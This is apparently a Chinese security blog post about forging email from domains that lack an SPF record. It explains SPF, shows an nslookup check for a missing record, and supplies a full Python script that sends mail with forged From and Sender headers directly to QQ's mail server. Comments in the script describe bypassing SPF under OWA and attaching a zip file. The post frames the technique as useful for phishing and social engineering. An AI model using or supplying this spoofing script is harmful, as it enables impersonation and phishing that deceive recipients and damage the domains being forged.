未设置spf导致的邮箱任意伪造

未设置spf导致的邮箱任意伪造

spf的解释:

SPF 记录是一种域名服务(DNS)记录,用于标识哪些邮件服务器可以代表您的域名发送电子邮件。SPF 记录的目的是为了防止垃圾邮件发送者在您的域名上,使用伪造的发件人地址发送邮件。

原理:未设置spf导致的邮件任意伪造,可以用来钓鱼社工,本身就是高危

若您未对您的域名添加 SPF 解析记录,则黑客可以仿冒以该域名为后缀的邮箱,来发送垃圾邮件。

其实它的危害比它自身邮箱伪造危害更大。

漏洞利用:

1
nslookup -type=txt 域名

如果没有v=spf1或者没spf就存在邮件伪造漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import email.mime.multipart
import email.mime.text
from smtplib import SMTP


def send(fake_email, to, title, content):
'''

:param fake_email: 伪造的邮箱
:param to: 发送的邮箱
:param title: 邮件标题
:param content: 邮件内容
:return:
'''
# 建立邮件对象
msg = email.mime.multipart.MIMEMultipart()
# 添加数据,来自哪,去哪
msg['Subject'] = title
# 邮件显示的发送人
# msg['From'] = 'admin@pingan.com.cn'
# 上面一行有时候无法对有spf的目标进行伪造,如果被退信
# 可以使用header头,在owa下可以对设置了spf的目标邮件源伪造
msg['from'] = fake_email
msg["Sender"] = fake_email
# msg.add_header("FROM", fake_email)

msg['To'] = to
txt = email.mime.text.MIMEText(content, 'html', 'utf-8')
msg.attach(txt)

# 发送附件

# attpart = MIMEApplication(open('notepad.zip', 'rb').read())
# attpart.add_header('Content-Disposition', 'attachment', filename='a.zip')
# msg.attach(attpart)

try:
smtp = SMTP("mx1.qq.com", 25)
# set_debuglevel()是用来调试的。参数值为1表示开启调试模式,参数值为0关闭调试模式
smtp.set_debuglevel(1)
smtp.ehlo("test.com")
smtp.sendmail(fake_email, [to], msg.as_string())
# 退出
smtp.quit()
print('邮件发送成功 email has send out !')
except Exception as e:
print("err", e)


send("admin@faceid.com", "s7safe@163.com", "这是测试的标题", "看到我就伪造成功了")